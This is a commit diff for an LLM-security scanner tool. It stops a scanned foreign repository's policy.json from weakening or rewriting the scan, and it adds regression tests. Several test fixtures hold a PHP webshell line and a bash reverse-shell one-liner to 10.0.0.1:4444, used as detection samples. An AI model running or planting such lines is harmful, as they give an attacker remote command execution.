fix(policy): read policy.json only from the caller's own working tree

loadPolicy() read .llm-security/policy.json from whatever root it was
given, and every scanner passes the SCANNED TARGET: scan-orchestrator
(policyRoot = resolve(args.target)), entropy-scanner (thresholds and
suppression patterns), signature-scanner (sig.custom_rules_path and
enabled_families), trigger-scanner (phrase lists) and ast-taint-scanner
(enabled, python_path). A foreign/cloned target could raise its own
entropy thresholds, disable SIG families, supply its own SIG ruleset or
name the interpreter the AST scanner spawns — configuring the scan of
itself. Same defect class as S3b's .llm-security-ignore fix.

Chosen: move isOwnWorkingTree() to scanners/lib/own-working-tree.mjs (one
copy, reused by the orchestrator's ignore-file check) and make
loadPolicy() refuse an EXPLICIT root that is not the caller's own tree —
defaults plus one stderr line, same form as S3b — because one rule in one
function covers every scanner and a future call site cannot forget it.
The IMPLICIT root (CLAUDE_PROJECT_ROOT/cwd, what every hook uses) is the
caller's own project by construction and is read as before.
entropy-scanner's calibration.policy_source no longer reports an ignored
file as its source.

New tests/scanners/policy-scope.test.mjs was red on 0d37f5a (foreign
target: entropy finding silenced, custom SIG rule loaded, findings differ
from the same tree without policy.json, no stderr line) and is green now;
its own-tree scenario (known-positive) is green before and after. The 15
existing policy tests that placed own-tree fixtures under os.tmpdir() now
use tests/helpers/own-tree.mjs (fixture under $HOME, cwd set to it).

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
This commit is contained in:
Kjell Tore Guttormsen 2026-09-22 20:15:17 +02:00
commit 6d0f3c31fc
Signed by: ktg
SSH key fingerprint: SHA256:JakMjO6FTBBzN0Bhfj9saOoEjaFxlSdYuZQQpM/lF9Q
12 changed files with 364 additions and 50 deletions

View file

@ -0,0 +1,30 @@
// own-tree.mjs — Fixtures that ARE the process's own working tree (S3c).
//
// .llm-security/policy.json is honored for an explicit scan root only when
// that root is the caller's own working tree: under process.cwd(), never
// under os.tmpdir() (scanners/lib/own-working-tree.mjs). Tests of LOCAL
// policy behaviour therefore need a fixture that is the caller's own tree —
// a throwaway dir outside os.tmpdir() and outside this repo's git tree
// (under $HOME, same placement rule as ignore-file-scope.test.mjs), made the
// process cwd while the test runs. node --test runs each file in its own
// process, so the chdir never leaks into another test file.
import { mkdtempSync } from 'node:fs';
import { join } from 'node:path';
import { homedir } from 'node:os';
/** Create a throwaway own-tree fixture dir (caller removes it). */
export function mkOwnTreeDir(prefix) {
return mkdtempSync(join(homedir(), `.${prefix}`));
}
/** Run fn with dir as the process cwd; the previous cwd is always restored. */
export async function inOwnTree(dir, fn) {
const prev = process.cwd();
process.chdir(dir);
try {
return await fn();
} finally {
process.chdir(prev);
}
}

View file

@ -4,20 +4,27 @@ import { describe, it, beforeEach, afterEach } from 'node:test';
import assert from 'node:assert/strict';
import { writeFileSync, mkdirSync, rmSync, existsSync } from 'node:fs';
import { join } from 'node:path';
import { tmpdir } from 'node:os';
import { homedir } from 'node:os';
import { loadPolicy, getPolicyValue, getDefaultPolicy, _resetCacheForTest } from '../../scanners/lib/policy-loader.mjs';
const TEST_ROOT = join(tmpdir(), `llm-security-policy-test-${Date.now()}`);
// S3c: an explicit root is read only when it is the caller's own working
// tree (under cwd, never under os.tmpdir()) — see tests/helpers/own-tree.mjs.
const TEST_ROOT = join(homedir(), `.llm-security-policy-test-${Date.now()}`);
const POLICY_DIR = join(TEST_ROOT, '.llm-security');
const POLICY_FILE = join(POLICY_DIR, 'policy.json');
describe('policy-loader', () => {
let prevCwd;
beforeEach(() => {
_resetCacheForTest();
mkdirSync(POLICY_DIR, { recursive: true });
prevCwd = process.cwd();
process.chdir(TEST_ROOT);
});
afterEach(() => {
process.chdir(prevCwd);
_resetCacheForTest();
try { rmSync(TEST_ROOT, { recursive: true }); } catch {}
});

View file

@ -16,6 +16,8 @@ import { resolve, join } from 'node:path';
import { fileURLToPath } from 'node:url';
import { existsSync, mkdtempSync, mkdirSync, writeFileSync, rmSync, readFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
// S3c: policy.json is read only for the caller's own working tree.
import { mkOwnTreeDir, inOwnTree } from '../helpers/own-tree.mjs';
import { spawnSync } from 'node:child_process';
import { resetCounter } from '../../scanners/lib/output.mjs';
import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
@ -100,7 +102,7 @@ describe('ast-taint-scanner: parse-only safety', () => {
describe('ast-taint-scanner: python3 absent', () => {
it('returns status skipped when the interpreter is unavailable', async () => {
const dir = mkdtempSync(join(tmpdir(), 'ast-nopy-'));
const dir = mkOwnTreeDir('ast-nopy-');
try {
mkdirSync(join(dir, '.llm-security'), { recursive: true });
writeFileSync(
@ -110,7 +112,7 @@ describe('ast-taint-scanner: python3 absent', () => {
writeFileSync(join(dir, 'a.py'), 'import os\nk = os.environ["X"]\neval(k)\n');
resetCounter();
const discovery = await discoverFiles(dir);
const result = await scan(dir, discovery);
const result = await inOwnTree(dir, () => scan(dir, discovery));
assert.equal(result.status, 'skipped');
assert.equal(result.findings.length, 0);
} finally {
@ -165,7 +167,7 @@ describe('ast-taint-scanner: orchestrator registration', () => {
describe('ast-taint-scanner: policy disable', () => {
it('enabled:false in policy.json short-circuits to skipped', async () => {
const dir = mkdtempSync(join(tmpdir(), 'ast-off-'));
const dir = mkOwnTreeDir('ast-off-');
try {
mkdirSync(join(dir, '.llm-security'), { recursive: true });
writeFileSync(
@ -175,7 +177,7 @@ describe('ast-taint-scanner: policy disable', () => {
writeFileSync(join(dir, 'a.py'), 'import os\nk = os.environ["X"]\neval(k)\n');
resetCounter();
const discovery = await discoverFiles(dir);
const result = await scan(dir, discovery);
const result = await inOwnTree(dir, () => scan(dir, discovery));
assert.equal(result.status, 'skipped');
assert.equal(result.findings.length, 0);
} finally {

View file

@ -15,6 +15,7 @@ import { mkdtemp, mkdir, writeFile, rm } from 'node:fs/promises';
import { randomBytes } from 'node:crypto';
import { join } from 'node:path';
import { tmpdir } from 'node:os';
import { mkOwnTreeDir, inOwnTree } from '../helpers/own-tree.mjs';
import { resetCounter } from '../../scanners/lib/output.mjs';
import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
import { scan } from '../../scanners/entropy-scanner.mjs';
@ -212,7 +213,7 @@ describe('entropy-scanner context suppression (v7.0.0+)', () => {
describe('C. Policy-driven overrides', () => {
it('user-policy suppress_line_patterns adds custom suppression', async () => {
const fx = await newRoot('ent-policy-');
const fx = mkOwnTreeDir('ent-policy-'); // S3c: policy is read only for the own tree
await writeFixture(fx, 'secret.js', 'const vendor = "' + PAYLOAD + '"; // MY_VENDOR_MARKER');
await writeFixture(fx, '.llm-security/policy.json', JSON.stringify({
entropy: { suppress_line_patterns: ['MY_VENDOR_MARKER'] }
@ -220,14 +221,14 @@ describe('entropy-scanner context suppression (v7.0.0+)', () => {
resetCounter();
_resetCacheForTest();
const discovery = await discoverFiles(fx);
const result = await scan(fx, discovery);
const result = await inOwnTree(fx, () => scan(fx, discovery));
assert.equal(result.findings.length, 0, 'expected user pattern to suppress');
assert.equal(result.calibration.policy_source, 'policy.json');
await rm(fx, { recursive: true, force: true });
});
it('user-policy suppress_paths skips files whose relPath contains the substring', async () => {
const fx = await newRoot('ent-paths-');
const fx = mkOwnTreeDir('ent-paths-'); // S3c: policy is read only for the own tree
await writeFixture(fx, 'src/vendored/big.js', 'var x="' + PAYLOAD + '";');
await writeFixture(fx, 'src/app.js', 'var y="' + PAYLOAD + '";');
await writeFixture(fx, '.llm-security/policy.json', JSON.stringify({
@ -236,14 +237,14 @@ describe('entropy-scanner context suppression (v7.0.0+)', () => {
resetCounter();
_resetCacheForTest();
const discovery = await discoverFiles(fx);
const result = await scan(fx, discovery);
const result = await inOwnTree(fx, () => scan(fx, discovery));
assert.equal(result.findings.length, 1, 'Expected 1 finding (app.js only), got ' + result.findings.length);
assert.ok(result.calibration.files_skipped_by_path >= 1);
await rm(fx, { recursive: true, force: true });
});
it('user-policy stricter thresholds suppress medium-strength payload', async () => {
const fx = await newRoot('ent-thresh-');
const fx = mkOwnTreeDir('ent-thresh-'); // S3c: policy is read only for the own tree
await writeFixture(fx, 'cfg.js', 'const blob = "' + PAYLOAD + '";');
await writeFixture(fx, '.llm-security/policy.json', JSON.stringify({
entropy: {
@ -257,7 +258,7 @@ describe('entropy-scanner context suppression (v7.0.0+)', () => {
resetCounter();
_resetCacheForTest();
const discovery = await discoverFiles(fx);
const result = await scan(fx, discovery);
const result = await inOwnTree(fx, () => scan(fx, discovery));
assert.equal(result.findings.length, 0, 'expected strict thresholds to suppress medium-strength payload');
await rm(fx, { recursive: true, force: true });
});

View file

@ -0,0 +1,222 @@
// policy-scope.test.mjs — .llm-security/policy.json (and the custom SIG
// ruleset it can point at) must never be honored for a scanned target that is
// not the user's own working tree (S3c, v8.1.0, 2026-09-22).
//
// scan-orchestrator.mjs, entropy-scanner.mjs, signature-scanner.mjs,
// trigger-scanner.mjs and ast-taint-scanner.mjs all call
// loadPolicy()/getPolicyValue() with the SCANNED TARGET as the root. A
// foreign/cloned target could therefore ship its own policy.json that raises
// the entropy thresholds past any real value (silencing a known finding) and
// points `sig.custom_rules_path` at a ruleset of its own choosing — a hostile
// repo configuring the scan of itself. Same defect class as S3b's
// .llm-security-ignore fix and the v8.0.0 commons-root fix.
//
// Scenarios (known finding = a random-bytes base64 blob in a .js file, which
// the entropy scanner classifies HIGH — same fixture S3b uses):
// FOREIGN target (absolute path under os.tmpdir(), scanned from this repo's
// cwd — what git-clone.mjs hands the orchestrator): the envelope with the
// hostile policy.json must equal the envelope of the same tree WITHOUT
// the policy file — same verdict, same findings. The custom SIG rule must
// not fire, the entropy finding must survive, and stderr must say the
// policy was not honored.
// OWN working tree (cwd === target, arg '.', outside os.tmpdir() and outside
// this repo's git tree — see ignore-file-scope.test.mjs for why): the same
// policy.json MUST still be honored. This is the known-positive that keeps
// the FOREIGN equality from being vacuous: it proves the fixture's policy
// really would silence the entropy finding and really would add the
// custom SIG finding.
// loadPolicy() unit level: an explicit foreign root yields defaults; the
// implicit root (CLAUDE_PROJECT_ROOT / cwd — what every hook uses) is
// still read, so the hooks are untouched.
import { describe, it, before, after } from 'node:test';
import assert from 'node:assert/strict';
import { resolve, dirname, join } from 'node:path';
import { fileURLToPath } from 'node:url';
import { spawn } from 'node:child_process';
import { mkdtempSync, mkdirSync, writeFileSync, rmSync } from 'node:fs';
import { tmpdir, homedir } from 'node:os';
import crypto from 'node:crypto';
import { loadPolicy, _resetCacheForTest } from '../../scanners/lib/policy-loader.mjs';
const __dirname = dirname(fileURLToPath(import.meta.url));
const ORCHESTRATOR = resolve(__dirname, '../../scanners/scan-orchestrator.mjs');
const REPO_ROOT = resolve(__dirname, '../..');
// Not a real credential — a known-positive blob for the entropy scanner only.
const HIGH_ENTROPY_BLOB = crypto.randomBytes(72).toString('base64');
const CUSTOM_MARKER = 'POLICYSCOPEMARKER_7731';
const CUSTOM_RULE_ID = 'CUSTOM-SCOPE-001';
const UNREACHABLE = { entropy: 99, minLen: 1_000_000 };
const HOSTILE_POLICY = {
entropy: {
thresholds: { critical: UNREACHABLE, high: UNREACHABLE, medium: UNREACHABLE },
},
sig: { custom_rules_path: 'custom-sigs.json' },
};
function writeFixture(dir, { withPolicy }) {
writeFileSync(join(dir, 'config.js'), `const payload = "${HIGH_ENTROPY_BLOB}";\nmodule.exports = { payload };\n`);
writeFileSync(join(dir, 'notes.txt'), `prefix ${CUSTOM_MARKER} suffix\n`);
writeFileSync(join(dir, 'custom-sigs.json'), JSON.stringify({
rules: [{
id: CUSTOM_RULE_ID,
family: 'webshell',
severity: 'high',
pattern: 'POLICYSCOPEMARKER_[0-9]+',
description: 'Target-supplied custom rule (must only load for the own working tree)',
}],
}));
if (withPolicy) {
mkdirSync(join(dir, '.llm-security'), { recursive: true });
writeFileSync(join(dir, '.llm-security', 'policy.json'), JSON.stringify(HOSTILE_POLICY));
}
}
function runOrchestrator(target, cwd) {
return new Promise((resolveP) => {
const stdout = [];
const stderr = [];
const child = spawn('node', [ORCHESTRATOR, target], {
cwd,
timeout: 180_000,
stdio: ['ignore', 'pipe', 'pipe'],
});
child.stdout.on('data', (c) => stdout.push(c));
child.stderr.on('data', (c) => stderr.push(c));
child.on('close', (code) => {
resolveP({
code: code ?? 1,
stdout: Buffer.concat(stdout).toString('utf8'),
stderr: Buffer.concat(stderr).toString('utf8'),
});
});
});
}
const entropyFindings = (env) => env?.scanners?.entropy?.findings || [];
const customSigFindings = (env) => (env?.scanners?.sig?.findings || [])
.filter((f) => String(f.evidence || '').includes(CUSTOM_RULE_ID));
/** Order-independent, id-independent fingerprint of every finding. */
function findingKeys(env) {
const keys = [];
for (const [name, result] of Object.entries(env?.scanners || {})) {
for (const f of result.findings || []) {
keys.push(`${name}|${f.severity}|${f.title}|${f.file}|${f.line ?? ''}`);
}
}
return keys.sort();
}
describe('.llm-security/policy.json is scoped to the user\'s own working tree (S3c)', () => {
describe('FOREIGN target: absolute path under os.tmpdir(), scanned from a different cwd', () => {
let withDir;
let withoutDir;
let withRun;
let withEnv;
let withoutEnv;
before(async () => {
// Both trees share one parent so the only difference the scanners can
// see is the presence of .llm-security/policy.json.
const parent = mkdtempSync(join(tmpdir(), 'policy-scope-foreign-'));
withDir = join(parent, 'target');
withoutDir = join(parent, 'target-nopolicy');
mkdirSync(withDir);
mkdirSync(withoutDir);
writeFixture(withDir, { withPolicy: true });
writeFixture(withoutDir, { withPolicy: false });
withRun = await runOrchestrator(withDir, REPO_ROOT);
withEnv = JSON.parse(withRun.stdout);
withoutEnv = JSON.parse((await runOrchestrator(withoutDir, REPO_ROOT)).stdout);
});
after(() => { rmSync(dirname(withDir), { recursive: true, force: true }); });
it('the known HIGH entropy finding survives the target\'s raised thresholds', () => {
assert.equal(entropyFindings(withEnv).length, 1,
'entropy thresholds from a foreign target\'s policy.json must not be applied');
});
it('the target-supplied custom SIG rule is not loaded', () => {
assert.equal(customSigFindings(withEnv).length, 0,
'sig.custom_rules_path from a foreign target\'s policy.json must not be loaded');
});
it('same verdict as the same tree without policy.json', () => {
assert.equal(withEnv.aggregate.verdict, withoutEnv.aggregate.verdict);
});
it('same findings as the same tree without policy.json', () => {
assert.deepEqual(findingKeys(withEnv), findingKeys(withoutEnv));
});
it('entropy calibration reports the defaults as its policy source, not the ignored file', () => {
assert.equal(withEnv.scanners.entropy.calibration.policy_source, 'defaults');
});
it('logs a stderr line stating the policy file was not honored, and why', () => {
assert.match(withRun.stderr, /policy\.json.*ignored/i,
'a foreign-target policy override must be loud, not silent');
});
});
describe('OWN working tree: `node scanners/scan-orchestrator.mjs .` (known-positive)', () => {
let ownDir;
let env;
before(async () => {
// Outside os.tmpdir() AND outside this repo's git tree — same placement
// rule as ignore-file-scope.test.mjs.
ownDir = mkdtempSync(join(homedir(), '.policy-scope-own-'));
writeFixture(ownDir, { withPolicy: true });
env = JSON.parse((await runOrchestrator('.', ownDir)).stdout);
});
after(() => { rmSync(ownDir, { recursive: true, force: true }); });
it('the raised thresholds silence the entropy finding', () => {
assert.equal(entropyFindings(env).length, 0,
'policy.json in the caller\'s own working tree must still be honored');
});
it('the custom SIG rule loads and fires', () => {
assert.equal(customSigFindings(env).length, 1,
'sig.custom_rules_path in the caller\'s own working tree must still load');
});
});
describe('loadPolicy() root handling', () => {
let dir;
let prevRoot;
before(() => {
dir = mkdtempSync(join(tmpdir(), 'policy-scope-unit-'));
writeFixture(dir, { withPolicy: true });
prevRoot = process.env.CLAUDE_PROJECT_ROOT;
});
after(() => {
if (prevRoot === undefined) delete process.env.CLAUDE_PROJECT_ROOT;
else process.env.CLAUDE_PROJECT_ROOT = prevRoot;
_resetCacheForTest();
rmSync(dir, { recursive: true, force: true });
});
it('an explicit foreign root (under os.tmpdir(), not under cwd) yields the defaults', () => {
_resetCacheForTest();
const policy = loadPolicy(dir);
assert.equal(policy.sig.custom_rules_path, null);
assert.equal(policy.entropy.thresholds.high.entropy, 5.1);
});
it('the implicit root (CLAUDE_PROJECT_ROOT, as the hooks use it) is still read', () => {
_resetCacheForTest();
process.env.CLAUDE_PROJECT_ROOT = dir;
const policy = loadPolicy();
assert.equal(policy.sig.custom_rules_path, 'custom-sigs.json');
});
});
});

View file

@ -11,7 +11,8 @@ import { describe, it } from 'node:test';
import assert from 'node:assert/strict';
import { join } from 'node:path';
import { mkdtempSync, mkdirSync, writeFileSync, rmSync } from 'node:fs';
import { tmpdir } from 'node:os';
// S3c: policy.json is read only for the caller's own working tree.
import { mkOwnTreeDir, inOwnTree } from '../helpers/own-tree.mjs';
import { resetCounter } from '../../scanners/lib/output.mjs';
import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
import { scan } from '../../scanners/signature-scanner.mjs';
@ -24,7 +25,7 @@ function writePolicy(dir, policy) {
describe('signature-scanner: custom_rules_path (#36)', () => {
it('loads and applies custom rules supplied via policy', async () => {
const dir = mkdtempSync(join(tmpdir(), 'sig-custom-'));
const dir = mkOwnTreeDir('sig-custom-');
try {
writePolicy(dir, { sig: { custom_rules_path: 'custom-sigs.json' } });
writeFileSync(join(dir, 'custom-sigs.json'), JSON.stringify({
@ -40,7 +41,7 @@ describe('signature-scanner: custom_rules_path (#36)', () => {
resetCounter();
const discovery = await discoverFiles(dir);
const result = await scan(dir, discovery);
const result = await inOwnTree(dir, () => scan(dir, discovery));
assert.equal(result.status, 'ok');
const custom = result.findings.find(f => f.evidence && f.evidence.includes('CUSTOM-WS-001'));
assert.ok(
@ -53,7 +54,7 @@ describe('signature-scanner: custom_rules_path (#36)', () => {
});
it('custom rules merge with (not replace) the built-in ruleset', async () => {
const dir = mkdtempSync(join(tmpdir(), 'sig-custom-'));
const dir = mkOwnTreeDir('sig-custom-');
try {
writePolicy(dir, { sig: { custom_rules_path: 'custom-sigs.json' } });
writeFileSync(join(dir, 'custom-sigs.json'), JSON.stringify({
@ -70,7 +71,7 @@ describe('signature-scanner: custom_rules_path (#36)', () => {
resetCounter();
const discovery = await discoverFiles(dir);
const result = await scan(dir, discovery);
const result = await inOwnTree(dir, () => scan(dir, discovery));
assert.equal(result.status, 'ok');
const builtin = result.findings.find(f => f.file === 'shell.php');
assert.ok(
@ -83,14 +84,14 @@ describe('signature-scanner: custom_rules_path (#36)', () => {
});
it('fails gracefully when custom_rules_path points at a missing file', async () => {
const dir = mkdtempSync(join(tmpdir(), 'sig-custom-'));
const dir = mkOwnTreeDir('sig-custom-');
try {
writePolicy(dir, { sig: { custom_rules_path: 'does-not-exist.json' } });
writeFileSync(join(dir, 'shell.php'), "<?php @ev" + "al($_POST['cmd']); ?>\n");
resetCounter();
const discovery = await discoverFiles(dir);
const result = await scan(dir, discovery);
const result = await inOwnTree(dir, () => scan(dir, discovery));
assert.equal(result.status, 'ok', 'missing custom ruleset must not error the scan');
const builtin = result.findings.find(f => f.file === 'shell.php');
assert.ok(builtin, 'built-in ruleset should still apply when custom file is missing');
@ -109,7 +110,7 @@ describe('signature-scanner: custom_rules_path (#36)', () => {
// single occurrence of o/b/j/e/c/t/space, which is nearly every file. So
// the rule must be dropped by compileRules's type check, not left for the
// compile try/catch, which never sees an error here.
const dir = mkdtempSync(join(tmpdir(), 'sig-custom-'));
const dir = mkOwnTreeDir('sig-custom-');
try {
writePolicy(dir, { sig: { custom_rules_path: 'custom-sigs.json' } });
writeFileSync(join(dir, 'custom-sigs.json'), JSON.stringify({
@ -124,7 +125,7 @@ describe('signature-scanner: custom_rules_path (#36)', () => {
resetCounter();
const discovery = await discoverFiles(dir);
const result = await scan(dir, discovery);
const result = await inOwnTree(dir, () => scan(dir, discovery));
assert.equal(result.status, 'ok');
const bad = result.findings.find(f => f.evidence && f.evidence.includes('CUSTOM-OBJ-001'));
assert.equal(
@ -137,7 +138,7 @@ describe('signature-scanner: custom_rules_path (#36)', () => {
});
it('fails gracefully when the custom ruleset is invalid JSON', async () => {
const dir = mkdtempSync(join(tmpdir(), 'sig-custom-'));
const dir = mkOwnTreeDir('sig-custom-');
try {
writePolicy(dir, { sig: { custom_rules_path: 'broken.json' } });
writeFileSync(join(dir, 'broken.json'), '{ not json');
@ -145,7 +146,7 @@ describe('signature-scanner: custom_rules_path (#36)', () => {
resetCounter();
const discovery = await discoverFiles(dir);
const result = await scan(dir, discovery);
const result = await inOwnTree(dir, () => scan(dir, discovery));
assert.equal(result.status, 'ok', 'invalid custom ruleset must not error the scan');
const builtin = result.findings.find(f => f.file === 'shell.php');
assert.ok(builtin, 'built-in ruleset should still apply when custom file is invalid');

View file

@ -15,6 +15,8 @@ import { resolve, join } from 'node:path';
import { fileURLToPath } from 'node:url';
import { mkdtempSync, mkdirSync, writeFileSync, rmSync, readFileSync, existsSync } from 'node:fs';
import { tmpdir } from 'node:os';
// S3c: policy.json is read only for the caller's own working tree.
import { mkOwnTreeDir, inOwnTree } from '../helpers/own-tree.mjs';
import { resetCounter } from '../../scanners/lib/output.mjs';
import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
import { scan } from '../../scanners/signature-scanner.mjs';
@ -323,7 +325,7 @@ describe('signature-scanner: orchestrator registration', () => {
describe('signature-scanner: family disable', () => {
it('disabling "webshell" suppresses webshell findings but keeps reverse_shell', async () => {
const dir = mkdtempSync(join(tmpdir(), 'sig-family-'));
const dir = mkOwnTreeDir('sig-family-');
try {
mkdirSync(join(dir, '.llm-security'), { recursive: true });
writeFileSync(
@ -334,7 +336,7 @@ describe('signature-scanner: family disable', () => {
writeFileSync(join(dir, 'rev.sh'), '#!/bin/sh\nbash -i >& /dev/' + 'tcp/10.0.0.1/4444 0>&1\n');
resetCounter();
const discovery = await discoverFiles(dir);
const result = await scan(dir, discovery);
const result = await inOwnTree(dir, () => scan(dir, discovery));
const families = result.findings.map(f => f.evidence);
assert.ok(!families.some(e => /\[webshell\]/.test(e)), `webshell family should be suppressed, got: ${families.join('; ')}`);
assert.ok(families.some(e => /\[reverse_shell\]/.test(e)), `reverse_shell should still fire, got: ${families.join('; ')}`);

View file

@ -13,6 +13,8 @@ import { resolve, join } from 'node:path';
import { fileURLToPath } from 'node:url';
import { mkdtempSync, mkdirSync, writeFileSync, rmSync, readFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
// S3c: policy.json is read only for the caller's own working tree.
import { mkOwnTreeDir, inOwnTree } from '../helpers/own-tree.mjs';
import { resetCounter } from '../../scanners/lib/output.mjs';
import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
import { scan } from '../../scanners/trigger-scanner.mjs';
@ -338,7 +340,7 @@ describe('trigger-scanner: "(recovered from obfuscation)" label (#57)', () => {
describe('trigger-scanner: policy override', () => {
it('baiting_phrases from .llm-security/policy.json replaces the defaults', async () => {
const dir = mkdtempSync(join(tmpdir(), 'trg-policy-'));
const dir = mkOwnTreeDir('trg-policy-');
try {
mkdirSync(join(dir, '.llm-security'), { recursive: true });
writeFileSync(
@ -352,7 +354,7 @@ describe('trigger-scanner: policy override', () => {
);
resetCounter();
const discovery = await discoverFiles(dir);
const result = await scan(dir, discovery);
const result = await inOwnTree(dir, () => scan(dir, discovery));
const baiting = result.findings.filter(f => /baiting/i.test(f.title));
assert.ok(baiting.length >= 1, 'the policy-provided phrase should trigger baiting');
assert.ok(baiting.some(f => /frobnicate/i.test(f.evidence)), 'should match the overridden phrase');